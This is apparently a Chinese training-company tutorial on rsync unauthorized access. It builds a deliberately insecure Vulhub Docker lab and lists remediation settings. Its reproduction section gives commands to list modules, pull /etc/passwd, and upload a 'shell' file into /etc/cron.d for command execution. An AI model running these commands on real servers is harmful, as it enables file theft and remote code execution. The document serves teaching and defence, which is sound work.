rsync 未授权访问漏洞
0x00前言
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
0x01漏洞原理
rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
0x02漏洞危害
rsync未授权访问会造成严重的信息泄露,攻击者可以上传脚本后门文件,远程命令执行。
0x03环境搭建
docker-compose.yml
version: '2'
services:
rsync:
build: .
ports:
- "873:873"
docker-entrypoint.sh
#!/bin/bash
set -ex
service cron start
exec rsync --no-detach --daemon --config /etc/rsyncd.conf
rsyncd.conf
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
[src]
path = /
comment = src path
read only = no
Dockerfile
FROM vulhub/rsync:3.1.2
LABEL maintainer="phithon "
COPY rsyncd.conf /etc/rsyncd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
RUN apt-get update \
&& apt-get install --no-install-recommends -y cron \
&& mkdir /data/ \
&& chmod +x /docker-entrypoint.sh \
&& rm -rf /var/lib/apt/lists/*
CMD ["/docker-entrypoint.sh"]
启动漏洞环境:
docker-compose build
docker-compose up -d
0x04漏洞复现
使用nmap检测rsync未授权访问:
nmap -p 873 --script rsync-list-modules 192.168.193.128
使用rsync命令访问:
rsync rsync://your-ip:873/
查看模块列表
列出模块下的文件:
rsync rsync://your-ip:873/src/
下载文件命令:
rsync -av rsync://your-ip:873/src/etc/passwd ./
上传文件命令:
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell
0x05修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制:设置host allow,限制允许访问主机的IP。
权限控制:设置read only,将模块设置成只读。
访问认证:设置auth、secrets,认证成功才能调用服务。
模块隐藏:设置list,将模块隐藏。
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。
更多渗透技术干货学习,咨询:15386496074